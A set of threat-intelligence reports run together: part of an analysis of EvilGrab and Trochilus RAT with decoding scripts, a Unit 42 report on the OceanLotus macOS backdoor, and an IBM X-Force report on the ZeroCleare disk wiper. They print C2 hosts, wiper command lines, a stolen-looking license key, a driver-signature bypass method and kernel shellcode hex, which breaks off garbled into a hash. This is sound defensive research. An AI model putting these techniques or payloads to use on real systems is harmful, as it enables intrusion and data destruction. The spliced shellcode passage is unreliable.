$str10 = "<Browser Start and Home key>"
$str11 = "%USERPROFILE%\users.bin"
$str12 = "%c%s|(%s)|%d|%s|%s|%s|%s|%s|%s|%s|%d|%d|%x|%x|%s|"
condition:
8 of them
}
```
The file inside the RAR, IEChecker.exe, is a DLL file that contains a variety of obfuscation techniques including dynamic string reassembly for the loading of API calls. This sample matches indicators for the EvilGrab malware mentioned by Palo Alto networks but this file has a distinct hash. Incidentally, the threat actors and/or developer of the malware appear to have named it “Grabber” based on development strings found therein. Others have called this malware “Tiger Shark RAT.”
The C2 information on this sample (dns[.]websecexp.com, ns[.]websecexp.com, appeur[.]gnway.cc), the mutex (New2010-V3-Uninstall), and the version (v2014-v05) are identical to elements observed in the malware that was profiled by Palo Alto Networks. The Grabber sample also initiates unusual network connections via an HTTP GET request.
### Sample #6: Trochilus RAT
Sample #4 and #6 are both instances of the newly discovered Trochilus RAT.
- MD5 (Update-Patch.rar) = 4e666c05656080180068f35cc7b026cb October 21, 2015
- MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
- MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e
- MD5 (plugus_res.dll) = 34dcfa1fa3e1573b2c401c195fb55833
- MD5 (shell.dll) = fb1d808c6d332fc8176cfa00a8325341
- MD5 (data.dat) = 15e16b0659d30e77f21807f779df0f4b
### Trochilus RAT analysis (samples #4 and #6)
Since sample #4 and #6 are very similar, we will dive deeper into an analysis of sample #4, the first instance of the Trochilus RAT that we encountered, named Update-Patch0999999.rar. Analysis reveals potentially useful timestamps of files inside the RAR - Setup.exe is from March 10, 2014 and the other two files are from September 23, 2015.
The file Setup.exe is a signed binary that appears to be a part of a legitimate Microsoft Security Essentials package. When Setup.exe is executed, it quickly loads its own copy, in the local directory, of SqmApi.dll which then generates a popup labeled “success” that prints the string “update install success.” This popup message has been observed in several of the malware samples contained in this set, and further drives home the “Update” theme of the malware installation tactic that has been observed in filenames.
The SqmApi.dll file executes and generates the network connection to 222.222.222[.]222 on TCP/999 just after generating the “update install success” popup message. Next, plugus_res.dll is loaded and executed with CreateProcessA.
Plugus_res.dll is actually a Trochilus RAT installation package created using the Nullsoft Installer (NSIS) format. Extracting the contents of plugus_res.dll with a specific version of 7zip (7z beta 9.38 in this case – later versions did not properly extract every file) allows all of the files to be viewed, including the NSIS installation script itself, created by 7zip as [NSIS].nsi. Shell.dll and data.dat are both obfuscated files. Shell.dll is not an obvious PE file, having been obfuscated via an encoding scheme.
Once the package file plugus_res.dll is properly decrypted, injected into memory and executed, the malware generates an outbound connection over TCP/25.
It is interesting to note that the first portion of binary data being sent from the compromised machine contains the hex value 0x7e. Following this, a data packet containing 0x7e bytes is sent. In the screenshot observed above, the network destination was no longer online. Therefore, traffic was redirected to a simulated network in order to capture packets.
This malware attempted to evade sandbox analysis on several occasions, and was therefore coaxed to run manually. The malicious code injects into services.exe. The volatility memory forensics framework malfind plugin was used by ASERT research to determine that services.exe had been tampered with and a memory dump of the malware was extracted. This malware therefore appears to run only in memory and does not leave a footprint on the disk, except in the form of encoded files that do not execute by themselves and are resistant to static file malware detection processes and static analysis.
The Shell.dll file is stored in an encoded manner, with the first 4095 bytes being subject to an XOR-based encoding scheme. The data.dat file was encoded in a very similar manner except the whole file was encoded. In the case of shell.dll and other files recovered from within this batch of RAR files, a cursory analysis that includes running the ‘strings’ tool over the binaries revealed some artifacts, yet many details (including PE headers) were obfuscated in such a manner that static analysis tools will likely miss the malicious contents.
There are two important values that need to be obtained from the [NSIS].nsi file that correspond to variable $1 and variable $2 that are used in an NSIS Integer Operation (IntOp). To use the following script (provided by ASERT) to decode other instances of shell.dll, the values 227 and 240 observed here will need to be replaced with whatever values are present inside the [NSIS].nsi file for the IntOp $1 and IntOp $2 functions.
```python
import sys
fp = open(sys.argv[1], "rb")
enc_buf = fp.read()
fp.close()
one = 227 # IntOp $1 227 + 0
two = 240 # IntOp $2 240 + 0
three = 0
i = 0
plain = []
for enc_byte in enc_buf:
if i > 4095:
break
three = (one + two) % 255 # IntOp $3 $1 + $2 ; IntOp $3 $3 % 255
print "xor key: 0x%x" % three
plain_byte = ord(enc_byte) ^ three # IntOp $R2 $R2 ^ $3
plain.append(chr(plain_byte))
one = two # IntOp $1 $2 + 0
two = three # IntOp $2 $3 + 0
i += 1
decrypted = "".join(plain) + enc_buf[4096:]
fp = open(sys.argv[1] + ".decrypted", "wb")
fp.write("".join(decrypted))
fp.close()
```
In this case, the decoded file MD5 is 304d83e15cce9b8dc826cdee2a96ef62 and can more easily be analyzed with IDA Pro or other static analysis tools.
Once clean binaries were extracted by the python script, artifacts revealed a connection to source code shared at github.com/5loyd/trochilus known as the Trochilus RAT. Trochilus is a character from Greek mythology that apparently invented the chariot, but the word also means “a kind of small bird” and can refer to several types of hummingbirds. A third meaning comes from architecture, however the exact meaning intended by the developer is unknown.
The NSIS script technique appears to be instrumented inside the builder for Trochilus, named Generator.exe. The default parameters (3 and 5) for the second-layer encoding scheme used by Trochilus were observed in this batch of samples, where the final payload was encoded inside data.dat by a routine called XorFibonacciCrypt. If the USE_ENCRYPTED_CORE token is enabled during the build, then this encoding routine is activated.
```c
#ifdef USE_ENCRYPTED_CORE
debugLog(_T("decrypt dll file"));
XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5);
#endif
```
This code can be found in github.com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp. The source code for Shell.dll can be found at github.com/5loyd/trochilus/tree/master/client/servant/shell. Various memory artifacts found from trochilus-master/client/servant/shell/SvtShell.cpp indicate that the threat actors are at least using this portion of the code. Other artifacts were found from Shell.cpp in the same directory. For example, the data.dat file can be found referenced at github.com/5loyd/trochilus/tree/master/client/servant/body.
The data.dat files built and encoded by Trochilus can be decoded using the following script:
```python
import sys
fp = open(sys.argv[1], "rb")
enc_buf = fp.read()
fp.close()
# these are passed as arguments to the decrypt function
key_material_1 = 5
key_material_2 = 3
plain = []
for enc_byte in enc_buf:
xor_key = (key_material_2 + key_material_1) % 255
plain_byte = ord(enc_byte) ^ xor_key
plain.append(chr(plain_byte))
key_material_2 = key_material_1
key_material_1 = xor_key
fp = open(sys.argv[1] + ".decrypted", "wb")
fp.write("".join(plain))
fp.close()
```
github.com/5loyd/trochilus/blob/master/client/servant/body/common.cpp contains a routine called XorFibonacciCrypt that matches code observed inside the DLL and inside the NSIS package configuration:
```c
for (DWORD i = 0; i < dwPlainLen; i++) {
BYTE xorchar = (last1 + last2) % MAXBYTE;
last2 = last1;
last1 = xorchar;
lpOutput = (lpSource) ^ xorchar;
lpOutput++;
lpSource++;
}
```
Obtaining the source to the malware provided many insights, including the fundamental README that describes the basic functionality of the RAT. Other researchers and analysts who wish to obtain additional insight should download the code for further analysis.
After compiling the source code, the client builder for the Trochilus RAT malware appears as such:
The builder application, named Generator.exe, provides an option for an IP address (default of 127.0.0.1) and an option to select HTTP, HTTPS, TCP, or UDP. The default port value for all settings is 8081, and the other values are -1. Generating the malware using the default settings results in the creation of a generator.ini file, which provides at-a-glance insight into how these values are used.
A great number of additional insights into this malware are available via the source code for those that wish to perform further investigations. Suffice it to say that this malware is being used in targeted threat operations and deserves additional attention. It is currently unknown if 5loyd (aka floyd419, using mail floyd419[@]foxmail.com) has any connection to threat actors involved, or is simply providing code that others have used. Several watchers of 5loyd code on github also provide interesting code projects that could be used in advanced campaigns. 5loyd has also contributed to a Windows credential dumping application known as quarkspwdump that may be of interest to advanced threat researchers. |
# The New and Improved macOS Backdoor from OceanLotus
**By Erye Hernandez and Danny Tsechansky**
**June 22, 2017**
**Category:** Unit 42
**Tags:** backdoor, macOS, OceanLotus, threat intelligence
## Introduction
Recently, we discovered a new version of the OceanLotus backdoor in our WildFire cloud analysis platform which may be one of the more advanced backdoors we have seen on macOS to date. This iteration is targeted towards victims in Vietnam and still maintains extremely low AV detection almost a year after it was first discovered. Despite having been in the wild for an extended period of time, the operation appears to still be active. During our analysis, we were able to communicate directly with the command and control server as recently as early June 2017. While there seem to be similarities to an OceanLotus sample discovered in May 2015, a variety of improvements have been made since then. Some of the improvements include the use of a decoy document, elimination of the use of command line utilities, a robust string encoding mechanism, custom binary protocol traffic with encryption, and a modularized backdoor.
## Infection Vector
The new OceanLotus backdoor is distributed in a zip file. While we don’t have direct evidence for the initial infection vector we presume it’s most likely via an email attachment. Once the user has extracted the zip file, they see a directory containing a file with a Microsoft Word document icon. The file is actually an application bundle, which contains executable code. Once the user double clicks on the purported Word document, the Trojan executes and then launches Word to display a decoy document. The malware uses the decoy document to help mask the execution of the malware. This technique is a common one for Windows-based malware, but rare on macOS. In order to achieve this layer of obfuscation, the malware author had to trick the operating system into believing the folder is an application bundle despite the .docx extension. Traditionally, macOS malware have emulated legitimate application installers such as Adobe Flash, which was how the previous version of OceanLotus was packaged.
Once the application bundle is launched, it opens a hidden file in the bundle’s Resources folder named .CFUserEncoding which is a password-protected Word document. It also copies this file to the executable path and essentially replaces the application bundle after persistence has been set up. This would lead the victim to believe that nothing was amiss, as they thought they were opening a Word document and a Word document opened. In this case, the Word file has the name “Noi dung chi tiet.docx”, which is Vietnamese for “Details.”
## Persistence
Compared to the previous version of this backdoor, the persistence mechanism for this remained largely the same. This version creates a Launch Agent that runs when the victim host starts up, whereas in the previous version execution was upon when a user logs in. It also copies itself to a different location and filename based on the UID of the user who ran the application. For a user other than root, it takes the MD5 hash of the structure returned by getpwuid() and breaks the hash down into segments <first 8 chars of hash>-<next 16 chars of hash>-<last 8 chars of hash>. This segmented MD5 hash is prepended with “0000-“ then used as a directory in ~/Library/OpenSSL/ to store the executable file. If the user is root, the executable is stored in the system wide library directory at /Library/TimeMachine/bin/mtmfs.
It is interesting to note that the executable and plist locations look like legitimate applications.
| UID | plist Location | Executable Location |
|-----|----------------|---------------------|
| 0 | /Library/LaunchDaemons/com.apple.mtmfsd.plist | /Library/TimeMachine/bin/mtmfs |
| > 0 | ~/Library/LaunchAgents/com.apple.openssl.plist | ~/Library/OpenSSL/0000-<segmented MD5 hash>/servicessl |
Once the malware has set up persistence, it deletes the application bundle from the executable path leaving the decoy document in its place and launches itself as a service from the new location.
## No Command Line Utilities
One of the first things we noticed about this backdoor is the lack of suspicious strings which often times provides context as to what the malware might do on a victim host. In most macOS malware, calls to the system() or exec() functions to run additional scripts are in place. In this case, these were not present nor were there command line utility strings that may easily convey the malicious intention of the application. This shows a deep level of understanding of the macOS platform by the author of this backdoor compared to other threat actors that will commonly copy and paste scripts from the Internet. The lack of these strings may also double as an anti-analysis technique to make the malware seem less suspicious, especially to basic static analysis.
## String Decoding
Since there appear to be no obvious suspicious strings in plaintext, we move onto the possibility of use of encoded, or obfuscated strings. The string decode routine for this backdoor is an upgrade from previous versions in which strings were XOR encoded with the word “Variable” as a key. The string decode routine now consists of a combination of bit shifting and XOR operations with a variable key that depends on the length of the string that was encoded. If the computation for the variable XOR key turns out to be 0, the default XOR key of 0x1B is used.
After decoding the strings, we can glean that the malware sets up persistence, surveys the victim’s computer, and sends this information back to a server. At this point, it is still not obvious that this malware contains backdoor functionality.
## Custom Binary Protocol and Encrypted Traffic
The threat actors responsible for this malware appear to have spent some amount of effort to develop their own custom communication protocol. They did not simply use an off-the-shelf web server for their command and control server, as is commonly done. Instead, they created their own command and control mechanism. The backdoor uses a custom binary protocol on TCP port 443, a well-known port that is unlikely to be blocked by traditional firewalls due to its use in HTTPS connections. The packet is encoded with a combination of bit shifting and XOR with a key of 0x1B before it is sent. The bits are always rotated to the left 3 times before doing the XOR operation. This is an improvement from the previous version where the packet was only XOR encoded with a key of 0x1B.
After decoding the packet, we can see a breakdown of different fields. Depending on the command response sent from the server, a packet may be bigger than 0x52 bytes. Data beyond 0x52 bytes is zlib compressed then encrypted with AES in CBC mode with a null initialization vector (IV) and a key sent from the server that is padded to 32 bytes. We captured live traffic from the server, and observed that the encryption keys sent from the server are ephemeral. This means that each new session with the server is given a different key used to encrypt data sent back and forth within that session. This is a marked improvement compared to the previous version, where only XOR encoding with a one-byte key was used for encryption. After decoding the packet it receives from the server, the backdoor validates certain fields like the “magic” bytes and makes sure the length of the data being received is not over a certain amount. Throughout the program execution, it also checks and handles any errors that may have been generated.
## Command and Control Communications
The command and control server communication sequence is as follows:
1. The client initiates a session with the server by sending a packet with 0x2170272 in the command field.
2. The server then responds with an ephemeral encryption key and a command.
3. The client checks if the received packet from the server is valid.
4. The client executes the command sent by the server and responds with a zlib compressed and AES encrypted blob of the result then sends this back to the server.
Unlike the previous versions of OceanLotus where the commands can be easily gathered from its strings, the author has obfuscated the functions with constant values. We decoded the following available commands:
| Command | Command Description |
|---------|---------------------|
| 0x2170272 | Initialize |
| 0x5CCA727 | ??? |
| 0x2E25992 | receive file from server |
| 0x2CD9070 | get info on a file / directory |
| 0x12B3629 | delete file / directory |
| 0x138E3E6 | ??? |
| 0x25D5082 | execute function from a dynamic library |
| 0x25360EA | send file to server |
| 0x17B1CC4 | ??? |
| 0x18320E0 | send victim and computer information together with the backdoor’s watermark |
| 0x1B25503 | execute a function from a dynamic library |
| 0x1532E65 | execute a function from a dynamic library |
## Command 0x2170272
When the backdoor is launched, a file is created in /Library/Preferences/.files or ~/Library/Preferences/.files depending on the victim’s user ID. This file contains a timestamp and the victim’s name concatenated with the machine’s serial number which is then hashed twice with MD5. This is then copied to a buffer that is 0x110 bytes long and AES encrypted in CBC mode with a null IV and a key of “pth”. It is then saved into the file.
After this file is created, the client sends its first packet to the server with 0x2170272 in the command field. The server acknowledges and responds with the same command and the client verifies that the file has been created.
## Command 0x18320E0
The server then sends this command with an ephemeral key shortly after it sends the 0x2170272 command. The client gathers all the data, encrypts it with the key provided by the server and sends it back. One thing to note is the Base64 string that is sent in this packet. This string is static in the binary and does not change, which may be indicative of a marker for campaign or version identification.
Not highlighted in the packet but also included in this packet is the kernel boot time which may be used by the C2 server to help determine if the backdoor is being run in a sandbox environment.
## Commands 0x25D5082, 0x1B25503, 0x1532E65
These commands load a dynamic library using dlopen() and obtains a function pointer to execute within that shared library using dlsym(). Unfortunately, we do not know which dynamic libraries or functions are used for each command since these are server supplied and we were not able to capture any communication that used these commands. However, we can postulate that since the parameters to the functions have the same number of arguments with the first being a fairly large constant similar to the command constants, and the backdoor has a function for receiving files, it is possible that these functions correspond to a shared library that the server uploads to the victim host. This means that additional functionality can be added to this backdoor by loading modules directly from the C2 server.
## Conclusion
Most macOS malware in the wild today are not very complex, but threat actors have been quickly improving their tradecraft. The increased level of sophistication and complexity may be indicative of increased targeting of macOS hosts looking to the future. With this OceanLotus attack in combination with recent macOS versions of the Sofacy group’s toolset, we have now observed multiple espionage motivated threat actors targeting macOS. It is imperative that the same types of strong security practices and policies organizations use to defend Windows devices are applied universally to include macOS devices as well. Apple has already updated the macOS protection systems to address this variant of OceanLotus.
## Indicators of Compromise
**Hashes**
- b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b Noi dung chi tiet.zip
- b3cf3e3b52b4b899cd0814fc75698ea24f08ce18642665adcd3555a068b5c16d Info.plist
- 07154b7a45937f2f5a2cda5b701504b179d0304fc653edb2d0672f54796c35f7 Noi dung chi tiet
- 82502191c9484b04d685374f9879a0066069c49b8acae7a04b01d38d07e8eca0 PkgInfo
- f0c1b360c0b24b5450a79138650e6ee254afae6ce8f6c68da7d1f32f91582680 .CFUserEncoding
- e84b5c5152d8edf1e814cc4b4975bfe4dc0063ef90294cc96b383f523042f783 info.icns
**C2 Server**
- call[.]raidstore[.]org
- technology[.]macosevents[.]com
- press[.]infomapress[.]com
- 24h[.]centralstatus[.]net
- 93.115.38.178
**Dropped Files**
- UID == 0:
- /Library/LaunchDaemons/com.apple.mtmfsd.plist
- /Library/TimeMachine/bin/mtmfs
- /Library/Preferences/.files
- UID > 0:
- ~/Library/LaunchAgents/com.apple.openssl.plist
- ~/Library/OpenSSL/0000-<segmented MD5 hash>/servicessl
- ~/Library/Preferences/.files |
# CDS 2018 | Unmasking APT X
About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features
© 2022 Google LLC |
# New Destructive Wiper “ZeroCleare” Targets Energy Sector in the Middle East
IBM X-Force Incident Response and Intelligence Services (IRIS)
January 2020
## New Malware “ZeroCleare” Used in Destructive Attacks
IBM® X-Force® has been researching and tracking destructive malware in the Middle East, particularly in the industrial and energy sector. Since the first Shamoon attacks that started affecting organizations in the region in summer of 2012, we have been following the evolution of destructive, disk-wiping malware deployed to cause disruption.
In recent analysis, X-Force Incident Response and Intelligence Services (IRIS) discovered new malware from the Wiper class, used in a destructive attack in the Middle East. We named this malware “ZeroCleare” per the program database (PDB) pathname of its binary file.
According to our analysis, ZeroCleare was used to execute a destructive attack that affected organizations in the energy and industrial sectors in the Middle East. Based on the analysis of the malware and the attackers’ behavior, we suspect Iran-based nation state adversaries were involved in developing and deploying this new wiper.
Given the evolution of destructive malware targeting organizations in the region, we were not surprised to find that ZeroCleare bears some similarity to the Shamoon malware. Taking a page out of the Shamoon playbook, ZeroCleare aims to overwrite the Master Boot Record (MBR) and disk partitions on Windows-based machines. As Shamoon did before it, the tool of choice in the attacks is EldoS RawDisk, a legitimate toolkit for interacting with files, disks, and partitions. Nation-state groups and cyber criminals frequently use legitimate tools in ways that a vendor did not intend to accomplish malicious or destructive activity.
Using RawDisk with malicious intent enabled ZeroCleare’s operators to wipe the MBR and damage disk partitions on a large number of networked devices. To gain access to the device’s core, ZeroCleare used an intentionally vulnerable driver and malicious PowerShell/Batch scripts to bypass Windows controls. Adding these ‘living off the land’ tactics to the scheme, ZeroCleare was spread to numerous devices on the affected network, sowing the seeds of a destructive attack that could affect thousands of devices and cause disruption that could take months to fully recover from. These tactics resemble the way Shamoon was launched in attacks on Arabian Gulf targets in 2018.
X-Force IRIS assesses that the ITG13 threat group, also known as APT34/OilRig, and at least one other group, likely based out of Iran, collaborated on the destructive portion of the attack. X-Force IRIS’s assessment is based on ITG13's traditional mission, which has not included executing destructive cyber-attacks in the past, the gap in time between the initial access facilitated by ITG13 and the last stage of the intrusion, as well as the different TTPs our team observed.
To date, X-Force IRIS has not found any previous reporting on the "ZeroCleare" wiper, its indicators, or elements observed in this campaign. It is possible that it is a recently developed malware and that the campaign we analyzed is one of the first to use this version.
## Destructive Attacks – A Rising Concern
X-Force IRIS has been following a marked increase in destructive attacks in the past year, having logged a whopping 200 percent increase in the amount of destructive attacks that our team has helped companies respond to over the past six months (comparing IBM incident response activities in the first half of 2019 versus the second half of 2018).
Destructive attacks on the energy and industrial sectors have been a rising concern, especially in countries where the economy relies on oil and gas industries, like in some parts of the Middle East and Europe. While we have seen them more frequently in the Middle East, these attacks are not limited to any part of the world and can be launched by any offensive nation-state group seeking to adversely affect the economy of rival countries, or by cybercriminals that use destruction as a pressure tactic.
Overall, destructive attacks we have been seeing affect organizations are being carried out by threat actors of varying motivations who could be employing destructive components in their attacks. Some pressure victims to pay them, others counterblow when they are not paid. When these attacks are carried out by nation state adversaries, they often have military objectives that can include accessing systems to deny access to, degrade, disrupt, deceive, or destroy the device/data.
## ZeroCleare’s General Infection Flow
The ZeroCleare wiper is part of the final stage of the overall attack. It is designed to deploy two different ways adapted to 32-bit and 64-bit systems. The general flow of events on 64-bit machines includes using a vulnerable, signed driver and then exploiting it on the target device to allow ZeroCleare to bypass the Windows hardware abstraction layer and avoid some operating system safeguards that prevent unsigned drivers from running on 64-bit machines.
This workaround has likely been used because 64-bit Windows based devices are protected with Driver Signature Enforcement (DSE). This control is designed to only allow drivers which have been signed by Microsoft to run on the device. Since ZeroCleare relies on the EldoS RawDisk driver, which is not a signed driver and would therefore not run by default, the attackers use an intermediary file named soy.exe to perform the workaround. They load a vulnerable but signed VBoxDrv driver which the DSE accepts and runs and then exploits it to load the unsigned driver, thereby avoiding DSE rejection of the EldoS driver.
Once loaded, the vulnerable VBoxDrv driver is exploited to run shellcode on the kernel level. Post-exploitation, the driver was used to load the unsigned EldoS driver and proceed to the disk wiping phase. Having analyzed soy.exe, we determined it was a modified version of the Turla Driver Loader (TDL) of which purpose is to facilitate that very DSE bypass. The same process does not apply to the 32-bit systems as they do not limit running unsigned drivers in the same manner.
## Two ZeroCleare Versions, Only One Worked
The ZeroCleare attack is facilitated by a number of files that each fulfill a different role in the infection chain. Files we analyzed are either scripts or executables designed to spread and launch the ZeroCleare malware across the targeted infrastructure. ZeroCleare comes in two versions, one for each Windows architecture (32-bit and 64-bit), but while both exist, only the 64-bit worked as intended. The 32-bit version was supposed to function by installing the EldoS RawDisk driver as a driver service before beginning the wiping process but caused itself to crash when attempting to access the service during the wiping process. The analysis in this paper will focus on the 64-bit version of ZeroCleare.
### Attackers’ File Arsenal
The following table lists the files we analyzed as part of what enabled attackers to infect devices with ZeroCleare and spread through compromised networks.
| Index | File Name | Category | File Hash | Parent |
|-------|-----------|----------|-----------|--------|
| 1 | ClientUpdate.exe (x64) | Wiper | 1a69a02b0cd10b1764521fec4b7376c9 | ClientUpdate.ps1 |
| 2 | ClientUpdate.exe (x86) | Wiper | 33f98b613b331b49e272512274669844 | ClientUpdate.ps1 |
| 3 | elrawdsk.sys (x86) | Tool | 69b0cec55e4df899e649fa00c2979661 | ClientUpdate.ps1 |
| 4 | soy.exe | Loader | 1ef610b1f9646063f96ad880aad9569d | ClientUpdate.ps1 |
| 5 | elrawdsk.sys (x64) | Tool | 993e9cb95301126debdea7dd66b9e121 | soy.exe |
| 6 | saddrv.sys | Tool | eaea9ccb40c82af8f3867cd0f4dd5e9d | soy.exe |
| 7 | ClientUpdate.txt | PowerShell Script | 1dbf3e9c84a89512a52da5b0bb682460 | N/A |
| 8 | ClientUpdate.ps1 | PowerShell Script | 08dc0073537b588d40deda1f31893c52 | N/A |
| 9 | cu.bat | Batch Script | Hash depends on specific deployment | N/A |
| 10 | v.bat | Batch Script | Hash depends on specific deployment | N/A |
| 11 | 1.bat | Batch Script | Hash depends on specific deployment | N/A |
| 12 | 2.bat | Batch Script | Hash depends on specific deployment | N/A |
| 13 | 3.bat | Batch Script | Hash depends on specific deployment | N/A |
| 14 | 4.bat | Batch Script | Hash depends on specific deployment | N/A |
| 15 | 5.bat | Batch Script | Hash depends on specific deployment | N/A |
The following are some overarching notes regarding the file list:
- The PowerShell and batch scripts analyzed were designed to spread and execute the ZeroCleare malware across the domain.
- The main PowerShell script, ClientUpdate.ps1, spreads itself to Domain Controllers (DC), and then from those servers it uses the Active Directory PowerShell module Get-ADComputer cmdlet to identify lists of target devices to copy and execute the malware on.
- The Batch scripts support spreading the malware but work in a more simplistic manner using premade text files that contain hostnames to infect, rather than generating the lists themselves.
- We found that the ZeroCleare Wiper’s executable itself, delivered in a file named ClientUpdate.exe, ran with a legitimate license key for EldoS RawDisk driver.
The following sections of this paper provide analysis of the ZeroCleare malware, as well as technical details on supporting files listed in the table.
## File #1: ClientUpdate.exe (x64) – aka ZeroCleare
**File name:** ClientUpdate.exe
**Type:** 64-bit Windows binary
**MD5:** 1a69a02b0cd10b1764521fec4b7376c9
**Compiled:** 15 Jun 2019, 10:47:12
This file was identified as the new wiper that was deployed in destructive attacks to damage Windows-based devices. It was named ZeroCleare by IRIS per the file path of its PDB file. As mentioned earlier in this paper, ZeroCleare relies on the legitimate EldoS RawDisk driver that was previously used in Shamoon attacks to access and wipe the hard drive directly. Using this driver, which is an inherently legitimate tool, allows ZeroCleare attackers to bypass the Windows hardware abstraction layer and avoid the OS safeguards.
To install the EldoS RawDisk driver, ZeroCleare uses another binary, Soy.exe, to load the driver on the targeted device and activate it. X-Force IRIS analyzed Soy.exe and found that it is a modified version of the Turla Driver Loader (TDL), which is designed to bypass x64 Windows Driver Signature Enforcement. The TDL application works by first installing a legitimate but vulnerable, signed, VirtualBox driver, vboxdrv.sys (in this case it is named saddrv.sys). Once loaded, this vulnerable driver can be exploited to run shellcode at the kernel level, which in this case is used to load the unsigned EldoS driver.
ClientUpdate.exe executes soy.exe via the following command line:
`cmd.exe /c soy.exe`
In order to activate the disk management driver, the malware needed to open a file handle via a unique filename using the logical drive (For example, C:\). The file name's format requested by function CreateFileW must start with # followed by the license key issued to the developer by EldoS. We have observed ZeroCleare attempt to open the following filename:
`\\?\ElRawDisk\??\(physical drive):#b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
The RawDisk license key was:
`b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
It could be a temporary license key or one that was stolen from someone else. Various information stealing malware can obtain license keys from infected systems. The ClientUpdate.exe (x64) wiping function creates a buffer consisting of the byte 0x55 and uses function DeviceIoControl to send the buffer to the RawDisk driver to write data to the disk and wipe the victim's hard drives. Similar to what the Shamoon malware does, this would overwrite the MBR, partitions, and files on the system with junk data. The sample was observed to contain the following PDB string:
`C:\Users\Developer\source\repos\ZeroCleare\x64\Release\zeroclear.pdb`
## File #2: ClientUpdate.exe (x86) – aka ZeroCleare
**File name:** ClientUpdate.exe
**Type:** 32-bit Windows binary
**MD5:** 33f98b613b331b49e272512274669844
**Compiled:** 15 Jun 2019, 11:38:44
Same as ClientUpdate.exe (x64), this file was also identified as the ZeroCleare wiper. As it is designed for 32-bit Windows systems, Driver Signature Enforcement does not prevent unsigned drivers from running. Therefore, this version of ZeroCleare does not need to use Soy.exe or TDL, the latter being only applicable to 64-bit systems.
ClientUpdate.exe (x86) first attempts to install itself as a service by running:
`C:\windows\system32\cmd.exe /u /c sc create soydsk type= kernel start= demand binPath= [sample path]`
Next, it attempts to activate the disk management device driver by opening a file handle via a unique filename using the logical drive (For example, C:\). The file name's format requested by function CreateFileW must start with # followed by the license key issued to the developer by EldoS. This 32-bit ZeroCleare version attempts to open the following filename:
`\\?\ElRawDisk\??\(physical drive):#b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
The malware uses the same EldoS RawDisk driver license key as observed in the 64-bit version:
`b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
This version did not work properly. During analysis, the sample crashed as the disk management driver had not been installed and was therefore not accessible. We can theorize that this may be a bug in the code. It was later confirmed that the sample required to be named ‘zeroclear.exe’ in order to run correctly. However, this was not the name used for the malware during the observed incident and therefore the binary would not have run correctly in that instance.
X-Force IRIS patched the 32-bit ZeroCleare sample in order to continue the analysis provided in this paper. Once it worked, we noted that this version’s wiping behavior was similar to that of ClientUpdate.exe (x64), which functioned by creating a buffer consisting of ‘0x55’ bytes and used the function DeviceIoControl to send the buffer to the RawDisk driver to write data that would wipe the victim's hard drive(s). Similar to what the Shamoon malware does, this would overwrite the MBR, partitions, and files on the system with junk data. This file was saved in the following PDB file path:
`C:\Users\Developer\source\repos\ZeroCleare32\Release\zeroclear.pdb`
## File #3: Soy.exe Analysis
**File name:** Soy.exe
**Type:** 64-bit Windows binary
**MD5:** 1ef610b1f9646063f96ad880aad9569d
**Compiled:** 15 Jun 2019, 7:04:22
The file soy.exe had a special role in the overall kill chain of ZeroCleare attacks as it was necessary for the initial bypass of Windows OS controls. This file was identified as a customized version of the Turla Driver Loader (TDL), which is a driver loader application designed for bypassing Windows x64 Driver Signature Enforcement (DSE). DSE is a protective feature that was introduced in 64-bit versions of Windows 8 and 10, to prevent the loading of drivers unsigned by Microsoft.
TDL works by first loading a legitimate, Microsoft-signed, VirtualBox VBoxDrv driver. However, a vulnerable version of the driver is intentionally used, and TDL can then exploit the vulnerability to run kernel-level shellcode and ultimately load other unsigned drivers. The file sample's resource section includes two encoded resources with the following hashes:
- Resource ID 1: b1ba74d92395012253b33462c67a726ff266c126f2652092c2f57659d0f46e77
- Resource ID 103: 37680a5a26abc22cde99c5222881a279a04b90680231736efac1e17a8e976755
Before decoding the resources, soy.exe creates a mutex called Ptición de trabajo. It then attempts to access its resource section to read encoded resource 103 and uses XOR key 0xAAAAAAAAAAAAAAAA to decode it. Next, soy.exe writes the decoded content to a 64-bit file called elrawdsk.sys, which was identified as the 64-bit version of the EldoS RawDisk driver, version 3.0.31.
After that, soy.exe attempts to access resource 1 and uses XOR key 0xAAAAAAAAAAAAAAAA to decode it. The soy.exe sample then writes the decoded content to a 64-bit VirtualBox VBoxDrv.sys driver file called saddrv.sys, which is known to have privilege escalation and arbitrary code execution vulnerabilities. This file is a signed driver.
Once the resources have been decoded, soy.exe tries to create and start a driver service with name VBoxDrv and saddrv.sys, in order to load the vulnerable VBoxDrv device driver. At this point, the soy.exe sample uses the Turla Driver Loader (TDL) method to exploit the vulnerability in the VirtualBox driver and load and execute the following shellcode:
`90 48 8B C4 41 54 48 81 EC 90 00 00 00 48 89 58 10 49 89 D4 48 89 68 18 48 8D 1D E1 FF FF FF 4C 89 68 E8 48 81 C3 00 03 00 00 4C 89 70 E0 4C 8B EA 4C 89 78 D8 4C 8B C9 33 C9 41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9 48 8D A8 00 10 00 00 48 81 E5 00 F0 FF FF 41 83 BE 84 00 00 00 05 0F 86 B0 00 00 00 41 8B 8E B0 00 00 00 85 C9 0F 84 A1 1 36a4e35abf2217887e97041e3e0b17483aa4d2c1aee6feadd48ef448bf1b9e6c, driver v3.0.31
`cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986, v1.6`
Soy.exe was also found to contain the following PDB file path:
`C:\Users\[user]\Desktop\TDL\Source\Furutaka\output\x64\Release\soy.pdb`
The presence of ‘Furutaka’ within the PDB string matches that seen within the source code on the TDL GitHub.
## Batch Scripts Used by ZeroCleare Attackers
